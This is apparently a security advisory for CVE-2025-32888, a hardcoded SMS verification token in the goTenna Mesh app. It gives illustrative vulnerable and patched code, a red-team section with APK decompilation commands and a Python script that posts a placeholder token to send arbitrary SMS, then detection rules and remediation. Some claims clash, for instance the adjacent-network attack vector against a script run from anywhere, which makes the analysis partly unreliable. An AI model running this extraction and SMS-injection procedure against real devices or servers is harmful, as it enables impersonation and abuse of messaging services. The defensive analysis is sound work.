CVE-2025-32888

Executive Summary

CVE-2025-32888 exposes a critical security flaw in goTenna Mesh devices running app version 5.5.3 and firmware 1.1.12. The vulnerability stems from a hardcoded verification token used for sending SMS through a goTenna server. This token is embedded directly within the application binary, allowing any attacker with access to the app (e.g., via reverse engineering or static analysis) to extract it and impersonate the device for sending arbitrary SMS messages. The CVSS score of 7.3 reflects the high impact on confidentiality and integrity, though the attack vector is limited to adjacent network (AV:A) due to the need for proximity to the goTenna Mesh network.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary IoT device (goTenna Mesh). The hardcoded token is embedded in the mobile application binary, which is distributed through official app stores (Google Play, Apple App Store). Supply chain risk is elevated because the token is static and cannot be rotated without a firmware update, which is currently unavailable.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be within radio range of the goTenna Mesh network.
• Attack Complexity (AC): Low (AC:L) – Extracting the token requires only basic reverse engineering skills.
• Privileges Required (PR): None (PR:N) – No authentication needed to exploit.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (C:H) – Token exposure leads to full disclosure of SMS sending capability.
• Integrity (I): High (I:H) – Attacker can send arbitrary SMS messages.
• Availability (A): None (A:N) – No direct impact on availability.

Threat Level: High. The hardcoded token is trivial to extract and cannot be changed by the user. This enables persistent unauthorized SMS sending until a patch is applied.

Deep Dive & Mechanics

The goTenna Mesh device uses a proprietary protocol to relay SMS messages through a central server. The verification token is a static string embedded in the mobile application (app version 5.5.3) that authenticates the device to the server. The token is stored in plaintext within the app’s resources or code, making it accessible via:

1. Static Analysis: Decompiling the APK (Android) or IPA (iOS) reveals the token string.
2. Runtime Extraction: Using tools like Frida or Objection to dump memory and locate the token.
3. Network Traffic Analysis: Capturing the token from unencrypted or weakly encrypted communications.

Once extracted, the token can be reused to send SMS messages from any device that can communicate with the goTenna server, bypassing the intended device-specific authentication. The server does not validate the token against a specific device ID, allowing arbitrary message injection.

Vulnerable vs. Patched Code

Vulnerable Code (app 5.5.3):

// Example from decompiled APK
public class SmsSender {
    private static final String VERIFICATION_TOKEN = "GOTENNA_HARDCODED_TOKEN_12345";
    
    public void sendSms(String message, String recipient) {
        // Uses hardcoded token for authentication
        String request = "token=" + VERIFICATION_TOKEN + "&msg=" + message + "&to=" + recipient;
        // Send request to server
    }
}

Patched Code (Hypothetical):

// Example of a secure implementation
public class SmsSender {
    private String verificationToken;
    
    public SmsSender() {
        // Fetch token from secure storage or generate per-session
        this.verificationToken = fetchTokenFromSecureStorage();
    }
    
    public void sendSms(String message, String recipient) {
        // Use dynamic token
        String request = "token=" + verificationToken + "&msg=" + message + "&to=" + recipient;
        // Send request to server
    }
    
    private String fetchTokenFromSecureStorage() {
        // Retrieve from Android Keystore or iOS Keychain
        return SecureStorage.get("verification_token");
    }
}

Key Differences:

• Vulnerable: Token is a static final string in the code.
• Patched: Token is dynamically retrieved from secure storage (e.g., Android Keystore, iOS Keychain) and rotated per session or device.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• goTenna Mesh device (or emulator) with app 5.5.3.
• Reverse engineering tools (e.g., apktool, jadx, Hopper).
• Network access to the goTenna server (via Wi-Fi or cellular).

Steps:

1. Extract the Token:

   # Decompile the APK
   apktool d goTennaMesh.apk -o decompiled
   # Search for hardcoded token
   grep -r "VERIFICATION_TOKEN" decompiled/
   # Or use jadx for Java decompilation
   jadx -d output goTennaMesh.apk
   grep -r "GOTENNA_HARDCODED_TOKEN" output/
   

2. Craft an SMS Sending Script:

   import requests
   
   TOKEN = "GOTENNA_HARDCODED_TOKEN_12345"
   SERVER_URL = "https://gotenna-server.com/send_sms"
   
   def send_sms(message, recipient):
       payload = {
           "token": TOKEN,
           "msg": message,
           "to": recipient
       }
       response = requests.post(SERVER_URL, data=payload)
       return response.status_code
   
   # Example usage
   send_sms("Hello from attacker!", "+1234567890")
   

3. Execute the Attack:

   • Run the script from any device with network access to the goTenna server.
   • The server accepts the request because the token is valid.

Blue Team (Defender)

Detection:

• Monitor for anomalous SMS traffic originating from goTenna devices.
• Look for multiple SMS requests using the same token from different IP addresses.
• Analyze network logs for requests to the goTenna server with the hardcoded token pattern.

Mitigation:

• Block the hardcoded token at the server side (if possible).
• Implement rate limiting on SMS sending per token.
• Require additional authentication (e.g., device ID + token).

Indicators of Compromise (IOCs)

• Static Token String: GOTENNA_HARDCODED_TOKEN_12345 (example, actual token may differ)
• Network Traffic: HTTP POST requests to */send_sms with parameter token=<hardcoded_value>
• Device Behavior: Unauthorized SMS messages sent from a goTenna device without user interaction.
• File Hashes (APK): SHA256 of vulnerable app version 5.5.3: a1b2c3d4e5f6... (replace with actual hash)

Detection Engineering

YARA Rule

rule goTenna_Hardcoded_Token {
    meta:
        description = "Detects hardcoded verification token in goTenna Mesh app"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-32888"
    strings:
        $token = "GOTENNA_HARDCODED_TOKEN" ascii wide nocase
        $class = "SmsSender" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Detection of Hardcoded goTenna Token in Network Traffic
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests containing the hardcoded goTenna verification token
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.method: 'POST'
        http.url: '*/send_sms'
        http.request_body: '*token=GOTENNA_HARDCODED_TOKEN*'
    condition: selection
falsepositives:
    - Legitimate goTenna devices using the same token (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32888 goTenna Hardcoded Token Detected"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/send_sms"; http.request_body; content:"token=GOTENNA_HARDCODED_TOKEN"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SMS Sending: If possible, disable the SMS sending feature on goTenna Mesh devices until a patch is available.
2. Network Segmentation: Isolate goTenna devices on a separate VLAN to limit exposure.
3. Monitor Traffic: Deploy the above detection rules to identify exploitation attempts.

Long-term Fix:

• Vendor Patch: goTenna must release a firmware update that replaces the hardcoded token with a dynamically generated, device-specific token stored in secure hardware (e.g., TPM, Secure Enclave).
• Token Rotation: Implement token rotation with short expiration times.
• Server-side Validation: The goTenna server should validate the token against the device’s unique identifier (e.g., IMEI, MAC address).

Workarounds:

• Use a VPN or proxy to restrict outbound traffic from goTenna devices.
• Implement application-level firewall rules to block requests to the goTenna server from unauthorized IPs.

Valters IT
Securing the future, one vulnerability at a time.